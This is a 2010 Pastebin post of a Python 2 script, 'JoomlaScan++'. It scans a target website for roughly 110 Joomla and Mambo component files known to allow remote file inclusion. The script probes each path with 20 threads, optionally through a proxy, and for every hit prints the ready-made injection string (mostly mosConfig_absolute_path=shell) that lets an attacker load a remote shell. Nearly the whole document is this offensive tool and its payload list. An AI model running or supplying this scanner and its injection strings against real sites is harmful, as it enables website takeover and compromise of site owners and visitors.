Share Pastebin
Guest
Public paste!

python rfi joomla scanner

By: a guest | Aug 29th, 2010 | Syntax: None | Size: 24.08 KB | Hits: 114 | Expires: Never
Copy text to clipboard
  1. #!/usr/bin/env python
  2. import httplib,time,socket
  3.  
  4.  
  5. import threading, Queue
  6.  
  7. class NoResultsPending(Exception):
  8.     """All work requests have been processed."""
  9.     pass
  10. class NoWorkersAvailable(Exception):
  11.     """No worker threads available to process remaining requests."""
  12.     pass
  13.  
  14. class WorkerThread(threading.Thread):
  15.     """Background thread connected to the requests/results queues.
  16.  
  17.     A worker thread sits in the background and picks up work requests from
  18.     one queue and puts the results in another until it is dismissed.
  19.     """
  20.  
  21.     def __init__(self, requestsQueue, resultsQueue, **kwds):
  22.         """Set up thread in damonic mode and start it immediatedly.
  23.  
  24.         requestsQueue and resultQueue are instances of Queue.Queue passed
  25.         by the ThreadPool class when it creates a new worker thread.
  26.         """
  27.         threading.Thread.__init__(self, **kwds)
  28.         self.setDaemon(1)
  29.         self.workRequestQueue = requestsQueue
  30.         self.resultQueue = resultsQueue
  31.         self._dismissed = threading.Event()
  32.         self.start()
  33.  
  34.     def run(self):
  35.         """Repeatedly process the job queue until told to exit.
  36.         """
  37.  
  38.         while not self._dismissed.isSet():
  39.             # thread blocks here, if queue empty
  40.             request = self.workRequestQueue.get()
  41.             if self._dismissed.isSet():
  42.                 # return the work request we just picked up
  43.                 self.workRequestQueue.put(request)
  44.                 break # and exit
  45.             # XXX catch exceptions here and stick them to request object
  46.             self.resultQueue.put(
  47.                 (request, request.callable(*request.args, **request.kwds))
  48.             )
  49.  
  50.     def dismiss(self):
  51.         """Sets a flag to tell the thread to exit when done with current job.
  52.         """
  53.  
  54.         self._dismissed.set()
  55.  
  56.  
  57. class WorkRequest:
  58.     """A request to execute a callable for putting in the request queue later.
  59.  
  60.     See the module function makeRequests() for the common case
  61.     where you want to build several work requests for the same callable
  62.     but different arguments for each call.
  63.     """
  64.  
  65.     def __init__(self, callable, args=None, kwds=None, requestID=None,
  66.       callback=None):
  67.         """A work request consists of the a callable to be executed by a
  68.         worker thread, a list of positional arguments, a dictionary
  69.         of keyword arguments.
  70.  
  71.         A callback function can be specified, that is called when the results
  72.         of the request are picked up from the result queue. It must accept
  73.         two arguments, the request object and it's results in that order.
  74.         If you want to pass additional information to the callback, just stick
  75.         it on the request object.
  76.  
  77.         requestID, if given, must be hashable as it is used by the ThreadPool
  78.         class to store the results of that work request in a dictionary.
  79.         It defaults to the return value of id(self).
  80.         """
  81.         if requestID is None:
  82.             self.requestID = id(self)
  83.         else:
  84.             self.requestID = requestID
  85.         self.callback = callback
  86.         self.callable = callable
  87.         self.args = args or []
  88.         self.kwds = kwds or {}
  89.  
  90.  
  91. class ThreadPool:
  92.     """A thread pool, distributing work requests and collecting results.
  93.  
  94.     See the module doctring for more information.
  95.     """
  96.  
  97.     def __init__(self, num_workers, q_size=0):
  98.         """Set up the thread pool and start num_workers worker threads.
  99.  
  100.         num_workers is the number of worker threads to start initialy.
  101.         If q_size > 0 the size of the work request is limited and the
  102.         thread pool blocks when queue is full and it tries to put more
  103.         work requests in it.
  104.         """
  105.  
  106.         self.requestsQueue = Queue.Queue(q_size)
  107.         self.resultsQueue = Queue.Queue()
  108.         self.workers = []
  109.         self.workRequests = {}
  110.         self.createWorkers(num_workers)
  111.  
  112.     def createWorkers(self, num_workers):
  113.         """Add num_workers worker threads to the pool."""
  114.  
  115.         for i in range(num_workers):
  116.             self.workers.append(WorkerThread(self.requestsQueue,
  117.               self.resultsQueue))
  118.  
  119.     def dismissWorkers(self, num_workers):
  120.         """Tell num_workers worker threads to to quit when they're done."""
  121.  
  122.         for i in range(min(num_workers, len(self.workers))):
  123.             worker = self.workers.pop()
  124.             worker.dismiss()
  125.  
  126.     def putRequest(self, request):
  127.         """Put work request into work queue and save for later."""
  128.  
  129.         self.requestsQueue.put(request)
  130.         self.workRequests[request.requestID] = request
  131.  
  132.     def poll(self, block=False):
  133.         """Process any new results in the queue."""
  134.         while 1:
  135.             try:
  136.                 # still results pending?
  137.                 if not self.workRequests:
  138.                     raise NoResultsPending
  139.                 # are there still workers to process remaining requests?
  140.                 elif block and not self.workers:
  141.                     raise NoWorkersAvailable
  142.                 # get back next results
  143.                 request, result = self.resultsQueue.get(block=block)
  144.                 # and hand them to the callback, if any
  145.                 if request.callback:
  146.                     request.callback(request, result)
  147.                 del self.workRequests[request.requestID]
  148.             except Queue.Empty:
  149.                 break
  150.  
  151.     def wait(self):
  152.         """Wait for results, blocking until all have arrived."""
  153.  
  154.         while 1:
  155.             try:
  156.                 self.poll(True)
  157.             except NoResultsPending:
  158.                 break
  159.  
  160. def makeRequests(callable, args_list, callback=None):
  161.     """Convenience function for building several work requests for the same
  162.     callable with different arguments for each call.
  163.  
  164.     args_list contains the parameters for each invocation of callable.
  165.     Each item in 'argslist' should be either a 2-item tuple of the list of
  166.     positional arguments and a dictionary of keyword arguments or a single,
  167.     non-tuple argument.
  168.  
  169.     callback is called when the results arrive in the result queue.
  170.     """
  171.  
  172.     requests = []
  173.     for item in args_list.items():
  174.         if item == isinstance(item, tuple):
  175.             requests.append(
  176.               WorkRequest(callable, item[0], item[1], callback=callback))
  177.         else:
  178.             requests.append(
  179.               WorkRequest(callable, [item], None, callback=callback))
  180.     return requests
  181.  
  182.  
  183.  
  184.  
  185.  
  186. paths = {"components/com_flyspray/startdown.php" : "startdown.php?file=shell",
  187.         "administrator/components/com_admin/admin.admin.html.php" : "admin.admin.html.php?mosConfig_absolute_path=shell",
  188.         "components/com_simpleboard/file_upload.php" : "file_upload.php?sbp=shell",
  189.         "components/com_hashcash/server.php" : "server.php?mosConfig_absolute_path=shell",
  190.         "components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php" : "config.inc.php?mosConfig_absolute_path=shell",
  191.         "components/com_sitemap/sitemap.xml.php" : "sitemap.xml.php?mosConfig_absolute_path=shell ",
  192.         "components/com_performs/performs.php" : "performs.php?mosConfig_absolute_path=shell",
  193.         "components/com_forum/download.php" : "download.php?phpbb_root_path=shell",
  194.         "components/com_pccookbook/pccookbook.php" : "pccookbook.php?mosConfig_absolute_path=shell",
  195.         "components/com_extcalendar/extcalendar.php" : "extcalendar.php?mosConfig_absolute_path=shell",
  196.         "components/minibb/index.php" : "index.php?absolute_path=shell",
  197.         "components/com_smf/smf.php" : "smf.php?mosConfig_absolute_path=",
  198.         "modules/mod_calendar.php" : "mod_calendar.php?absolute_path=shell ",
  199.         "components/com_pollxt/conf.pollxt.php" : "conf.pollxt.php?mosConfig_absolute_path=shell ",
  200.         "components/com_loudmounth/includes/abbc/abbc.class.php" : "abbc.class.php?mosConfig_absolute_path=shell",
  201.         "components/com_videodb/core/videodb.class.xml.php" : "videodb.class.xml.php?mosConfig_absolute_path=shell",
  202.         "components/com_pcchess/include.pcchess.php" : "include.pcchess.php?mosConfig_absolute_path=shell",
  203.         "administrator/components/com_multibanners/extadminmenus.class.php" : "extadminmenus.class.php?mosConfig_absolute_path=shell",
  204.         "administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php" : "admin.a6mambohelpdesk.php?mosConfig_live_site=shell",
  205.         "administrator/components/com_colophon/admin.colophon.php" : "admin.colophon.php?mosConfig_absolute_path=shell",
  206.         "administrator/components/com_mgm/help.mgm.php" : "help.mgm.php?mosConfig_absolute_path=shell",
  207.         "components/com_mambatstaff/mambatstaff.php" : "mambatstaff.php?mosConfig_absolute_path=shell",
  208.         "components/com_securityimages/configinsert.php" : "configinsert.php?mosConfig_absolute_path=shell",
  209.         "components/com_securityimages/lang.php" : "lang.php?mosConfig_absolute_path=shell",
  210.         "components/com_artlinks/artlinks.dispnew.php" : "artlinks.dispnew.php?mosConfig_absolute_path=shell",
  211.         "components/com_galleria/galleria.html.php" : "galleria.html.php?mosConfig_absolute_path=shell",
  212.         "akocomments.php" : "akocomments.php?mosConfig_absolute_path=shell",
  213.         "administrator/components/com_cropimage/admin.cropcanvas.php" : "admin.cropcanvas.php?cropimagedir=shell",
  214.         "administrator/components/com_kochsuite/config.kochsuite.php" : "config.kochsuite.php?mosConfig_absolute_path=shell",
  215.         "administrator/components/com_comprofiler/plugin.class.php" : "plugin.class.php?mosConfig_absolute_path=shell",
  216.         "components/com_zoom/classes/fs_unix.php" : "fs_unix.php?mosConfig_absolute_path=shell",
  217.         "components/com_zoom/includes/database.php" : "database.php?mosConfig_absolute_path=shell",
  218.         "administrator/components/com_serverstat/install.serverstat.php" : "install.serverstat.php?mosConfig_absolute_path=shell",
  219.         "components/com_fm/fm.install.php" : "fm.install.php?lm_absolute_path=shell",
  220.         "administrator/components/com_mambelfish/mambelfish.class.php" : "mambelfish.class.php?mosConfig_absolute_path=shell",
  221.         "components/com_lmo/lmo.php" : "lmo.php?mosConfig_absolute_path=shell",
  222.         "administrator/components/com_linkdirectory/toolbar.linkdirectory.html.php" : "toolbar.linkdirectory.html.php?mosConfig_absolute_ path=shell",
  223.         "components/com_mtree/Savant2/Savant2_Plugin_textarea.php" : "Savant2_Plugin_textarea.php?mosConfig_absolute_path=shell",
  224.         "administrator/components/com_jim/install.jim.php" : "install.jim.php?mosConfig_absolute_path=shell",
  225.         "administrator/components/com_webring/admin.webring.docs.php" : "admin.webring.docs.php?component_dir=shell",
  226.         "administrator/components/com_remository/admin.remository.php" : "admin.remository.php?mosConfig_absolute_path=shell",
  227.         "administrator/components/com_babackup/classes/Tar.php" : "Tar.php?mosConfig_absolute_path=shell",
  228.         "administrator/components/com_lurm_constructor/admin.lurm_constructor.php" : "admin.lurm_constructor.php?lm_absolute_path=shell",
  229.         "components/com_mambowiki/MamboLogin.php" : "MamboLogin.php?IP=shell",
  230.         "administrator/components/com_a6mambocredits/admin.a6mambocredits.php" : "admin.a6mambocredits.php?mosConfig_live_site=shell",
  231.         "administrator/components/com_phpshop/toolbar.phpshop.html.php" : "toolbar.phpshop.html.php?mosConfig_absolute_path=shell",
  232.         "components/com_cpg/cpg.php" : "cpg.php?mosConfig_absolute_path=shell",
  233.         "components/com_moodle/moodle.php" : "moodle.php?mosConfig_absolute_path=shell ",
  234.         "components/com_extended_registration/registration_detailed.inc.php" : "registration_detailed.inc.php?mosConfig_absolute_path=shell",
  235.         "components/com_mospray/scripts/admin.php" : "admin.php?basedir=shell",
  236.         "administrator/components/com_bayesiannaivefilter/lang.php" : "lang.php?mosConfig_absolute_path=shell",
  237.         "administrator/components/com_uhp/uhp_config.php" : "uhp_config.php?mosConfig_absolute_path=shell",
  238.         "administrator/components/com_peoplebook/param.peoplebook.php" : "param.peoplebook.php?mosConfig_absolute_path=shell",
  239.         "administrator/components/com_mmp/help.mmp.php" : "help.mmp.php?mosConfig_absolute_path=shell",
  240.         "components/com_reporter/processor/reporter.sql.php" : "reporter.sql.php?mosConfig_absolute_path=shell",
  241.         "components/com_madeira/img.php" : "img.php?url=shell",
  242.         "components/com_jd-wiki/lib/tpl/default/main.php" : "main.php?mosConfig_absolute_path=shell",
  243.         "components/com_bsq_sitestats/external/rssfeed.php" : "rssfeed.php?baseDir=shell",
  244.         "com_bsq_sitestats/external/rssfeed.php" : "rssfeed.php?baseDir=shell",
  245.         "components/com_slideshow/admin.slideshow1.php" : "admin.slideshow1.php?mosConfig_live_site=shell",
  246.         "administrator/components/com_panoramic/admin.panoramic.php" : "admin.panoramic.php?mosConfig_live_site=shell",
  247.         "administrator/components/com_mosmedia/includes/credits.html.php" : "credits.html.php?mosConfig_absolute_path=shell",
  248.         "administrator/components/com_mosmedia/includes/info.html.php" : "info.html.php?mosConfig_absolute_path=shell",
  249.         "administrator/components/com_mosmedia/includes/media.divs.php" : "media.divs.php?mosConfig_absolute_path=shell",
  250.         "administrator/components/com_mosmedia/includes/media.divs.js.php" : "media.divs.js.php?mosConfig_absolute_path=shell",
  251.         "administrator/components/com_mosmedia/includes/purchase.html.php" : "purchase.html.php?mosConfig_absolute_path=shell",
  252.         "administrator/components/com_mosmedia/includes/support.html.php" : "support.html.php?mosConfig_absolute_path=shell",
  253.         "administrator/components/com_wmtportfolio/admin.wmtportfolio.php" : "admin.wmtportfolio.php?mosConfig_absolute_path=shell",
  254.         "components/com_mp3_allopass/allopass.php" : "components/com_mp3_allopass/allopass.php?mosConfig_live_site=shell",
  255.         "components/com_mp3_allopass/allopass-error.php" : "components/com_mp3_allopass/allopass-error.php?mosConfig_live_site=shell",
  256.         "administrator/components/com_jcs/jcs.function.php" : "administrator/components/com_jcs/jcs.function.php?mosConfig_absolute_path=shell",
  257.         "administrator/components/com_jcs/view/add.php" : "administrator/components/com_jcs/view/add.php?mosConfig_absolute_path=shell",
  258.         "administrator/components/com_jcs/view/history.php" : "administrator/components/com_jcs/view/history.php?mosConfig_absolute_path=shell",
  259.         "administrator/components/com_jcs/view/register.php" : "administrator/components/com_jcs/view/register.php?mosConfig_absolute_path=shell",
  260.         "administrator/components/com_jcs/views/list.sub.html.php" : "administrator/components/com_jcs/views/list.sub.html.php?mosConfig_absolute_path=shell",
  261.         "administrator/components/com_jcs/views/list.user.sub.html.php" : "administrator/components/com_jcs/views/list.user.sub.html.php?mosConfig_absolute_path=shell",
  262.         "administrator/components/com_jcs/views/reports.html.php" : "administrator/components/com_jcs/views/reports.html.php?mosConfig_absolute_path=shell",
  263.         "com_joomla_flash_uploader/install.joomla_flash_uploader.php" : "com_joomla_flash_uploader/install.joomla_flash_uploader.php?mosConfig_absolute_path=shell",
  264.         "com_joomla_flash_uploader/uninstall.joomla_flash_uploader.php" : "com_joomla_flash_uploader/uninstall.joomla_flash_uploader.php?mosConfig_absolute_path=shell",
  265.         "administrator/components/com_jjgallery/admin.jjgallery.php" : "administrator/components/com_jjgallery/admin.jjgallery.php?mosConfig_absolute_path=shell",
  266.         "administrator/components/com_juser/xajax_functions.php" : "administrator/components/com_juser/xajax_functions.php?mosConfig_absolute_path=shell",
  267.         "components/com_jreviews/scripts/xajax.inc.php" : "components/com_jreviews/scripts/xajax.inc.php?mosConfig_absolute_path=shell",
  268.         "com_directory/modules/mod_pxt_latest.php" : "com_directory/modules/mod_pxt_latest.php?GLOBALS[mosConfig_absolute_path]=shell",
  269.         "administrator/components/com_joomla_flash_uploader/install.joomla_flash_uploader.php" : "administrator/components/com_joomla_flash_uploader/install.joomla_flash_uploader.php?mosConfig_absolute_path=shell",
  270.         "administrator/components/com_chronocontact/excelwriter/PPS/File.php" : "administrator/components/com_chronocontact/excelwriter/PPS/File.php?mosConfig_absolute_path=shell",
  271.         "administrator/components/com_chronocontact/excelwriter/Writer.php" : "administrator/components/com_chronocontact/excelwriter/Writer.php?mosConfig_absolute_path=shell",
  272.         "administrator/components/com_chronocontact/excelwriter/PPS.php" : "administrator/components/com_chronocontact/excelwriter/PPS.php?mosConfig_absolute_path=shell",
  273.         "administrator/components/com_chronocontact/excelwriter/Writer/BIFFwriter.php" : "administrator/components/com_chronocontact/excelwriter/Writer/BIFFwriter.php?mosConfig_absolute_path=shell",
  274.         "administrator/components/com_chronocontact/excelwriter/Writer/Workbook.php" : "administrator/components/com_chronocontact/excelwriter/Writer/Workbook.php?mosConfig_absolute_path=shell",
  275.         "administrator/components/com_chronocontact/excelwriter/Writer/Worksheet.php" : "administrator/components/com_chronocontact/excelwriter/Writer/Worksheet.php?mosConfig_absolute_path=shell",
  276.         "administrator/components/com_chronocontact/excelwriter/Writer/Format.php" : "administrator/components/com_chronocontact/excelwriter/Writer/Format.php?mosConfig_absolute_path=shell",
  277.         "index.php?option=com_custompages" : "index.php?option=com_custompages&cpage=shell",
  278.         "component/com_onlineflashquiz/quiz/common/db_config.inc.php" : "component/com_onlineflashquiz/quiz/common/db_config.inc.php?base_dir=shell",
  279.         "administrator/components/com_joomla-visites/core/include/myMailer.class.php" : "administrator/components/com_joomla-visites/core/include/myMailer.class.php?mosConfig_absolute_path=shell",
  280.         "index.php?option=com_facileforms" : "components/com_facileforms/facileforms.frame.php?ff_compath=shell",
  281.         "administrator/components/com_rssreader/admin.rssreader.php" : "administrator/components/com_rssreader/admin.rssreader.php?mosConfig_live_site=shell",
  282.         "administrator/components/com_feederator/includes/tmsp/add_tmsp.php" : "administrator/components/com_feederator/includes/tmsp/add_tmsp.php?mosConfig_absolute_path=shell",
  283.         "administrator/components/com_feederator/includes/tmsp/edit_tmsp.php" : "administrator/components/com_feederator/includes/tmsp/edit_tmsp.php?mosConfig_absolute_path=shell",
  284.         "administrator/components/com_feederator/includes/tmsp/subscription.php" : "administrator/components/com_feederator/includes/tmsp/subscription.php?GLOBALS[mosConfig_absolute_path]=shell",
  285.         "administrator/components/com_feederator/includes/tmsp/tmsp.php" : "administrator/components/com_feederator/includes/tmsp/tmsp.php?mosConfig_absolute_path=shell",
  286.         "administrator/components/com_clickheat/install.clickheat.php" : "administrator/components/com_clickheat/install.clickheat.php?GLOBALS[mosConfig_absolute_path]=shell",
  287.         "administrator/components/com_clickheat/includes/heatmap/_main.php" : "administrator/components/com_clickheat/includes/heatmap/_main.php?mosConfig_absolute_path=shell",
  288.         "administrator/components/com_clickheat/includes/heatmap/main.php" : "administrator/components/com_clickheat/includes/heatmap/main.php?mosConfig_absolute_path=shell",
  289.         "administrator/components/com_clickheat/includes/overview/main.php" : "administrator/components/com_clickheat/includes/overview/main.php?mosConfig_absolute_path=shell",
  290.         "administrator/components/com_clickheat/Recly/Clickheat/Cache.php" : "administrator/components/com_clickheat/Recly/Clickheat/Cache.php?GLOBALS[mosConfig_absolute_path]=shell",
  291.         "administrator/components/com_clickheat/Recly/Clickheat/Clickheat_Heatmap.php" : "administrator/components/com_clickheat/Recly/Clickheat/Clickheat_Heatmap.php?GLOBALS[mosConfig_absolute_path]=shell",
  292.         "administrator/components/com_clickheat/Recly/common/GlobalVariables.php" : "administrator/components/com_clickheat/Recly/common/GlobalVariables.php?GLOBALS[mosConfig_absolute_path]=shell",
  293.         "administrator/components/com_competitions/includes/competitions/add.php" : "administrator/components/com_competitions/includes/competitions/add.php?GLOBALS[mosConfig_absolute_path]=shell",
  294.         "administrator/components/com_competitions/includes/competitions/competitions.php" : "administrator/components/com_competitions/includes/competitions/competitions.php?GLOBALS[mosConfig_absolute_path]=shell",
  295.         "administrator/components/com_competitions/includes/settings/settings.php" : "administrator/components/com_competitions/includes/settings/settings.php?mosConfig_absolute_path=shell",
  296.         "administrator/components/com_dadamail/config.dadamail.php" : "administrator/components/com_dadamail/config.dadamail.php?GLOBALS['mosConfig_absolute_path']=shell",
  297.         "administrator/components/com_googlebase/admin.googlebase.php" : "administrator/components/com_googlebase/admin.googlebase.php?mosConfig_absolute_path=shell",
  298.         "administrator/components/com_ongumatimesheet20/lib/onguma.class.php" : "administrator/components/com_ongumatimesheet20/lib/onguma.class.php?mosConfig_absolute_path=shell",
  299.         "administrator/components/com_treeg/admin.treeg.php" : "administrator/components/com_treeg/admin.treeg.php?mosConfig_live_site=shell"}
  300.  
  301. def usage():
  302.     print """\tUsage: ./joomlascan.py <site> <options>
  303. \t[options]
  304. \t   -p/--proxy <host:port> : Add proxy support
  305. \t   -e/--errors : Show Error responses
  306. \t   -j : path to joomla if needed
  307. Ex: ./joomlascan.py www.test.com -404 -p 127.0.0.1:8080
  308.  
  309. """
  310.     sys.exit(1)
  311.  
  312. def testproxy(proxy):
  313.     try:
  314.         httplib.HTTPConnection(proxy).connect()
  315.     except:
  316.         print "Proxy broke! Reverting to Direct Connect Ctrl-C Now if this scares you!"
  317.         time.sleep(3)
  318.         globals()['proxy']=''
  319.  
  320. def testhost(host):
  321.     try:
  322.         httplib.HTTPConnection(host).connect()
  323.     except:
  324.         print "Host down, or you're an idiot! Either way, I'm out of here!"
  325.         sys.exit(1)
  326.    
  327.        
  328.  
  329. def runattack(apath,shell):
  330.     proxy=globals()['proxy']
  331.     host=globals()['host']
  332.     path=globals()['joomlapath']
  333.     p404=globals()['p404']
  334.     #print "Apath:",apath,"- Shell:",shell
  335.     if proxy:
  336.         h=httplib.HTTP(proxy)
  337.         h.putrequest("GET", "http://"+host+"/"+path+"/"+apath)
  338.     else:
  339.         h=httplib.HTTP(host)
  340.         h.putrequest("HEAD", "/"+path+"/"+apath)
  341.     h.putheader("Host", host)
  342.     h.endheaders()
  343.     try:
  344.         status, reason, headers = h.getreply()
  345.         if status==200:
  346.             print 'Found: '+apath+': Use Shell: '+shell
  347.         elif p404:
  348.             print 'Not Found:',apath,status,reason
  349.     except(), msg:
  350.         print "Error Occurred:",msg
  351.         pass
  352.      
  353. if __name__=="__main__":
  354.     import getopt,sys
  355.     print "\n\tJoomlaScan++ - Now Not As Ghey!"
  356.     print "\t--------------------------------------------"
  357.  
  358.     try:
  359.         opts, args = getopt.getopt(sys.argv[1:], "hep:j:", ["help", "output="])
  360.     except getopt.GetoptError, err:
  361.         usage()
  362.     socket.setdefaulttimeout(6)
  363.     p404=False
  364.     proxy=''
  365.     host=''
  366.     joomlapath=''
  367.     for o, a in opts:
  368.         if o == "-v":
  369.             verbose = True
  370.         elif o in ("-h", "--help"):
  371.             usage()
  372.         elif o in ("-p", "--proxy"):
  373.             proxy=a
  374.         elif o in ("-e","--errors"):
  375.             p404=True
  376.         elif o in ("-j","--joomlapath"):
  377.             joomlapath=a
  378.         else:
  379.             usage()
  380.     if args:
  381.         host=args[0]
  382.     else:
  383.         usage()
  384.     if proxy:
  385.         testproxy(proxy)
  386.     testhost(host)
  387.     attackpool=ThreadPool(20)
  388.     for item in paths.items():
  389.         attackpool.putRequest(WorkRequest(runattack,item))
  390.     print "Main thread working..."
  391.     while 1:
  392.         try:
  393.             attackpool.poll()
  394.             time.sleep(0.5)
  395.         except (KeyboardInterrupt):
  396.             print "User Break... Exiting..."
  397.             break
  398.         except (NoResultsPending):
  399.             print "Scan Finished: Exiting."
  400.             break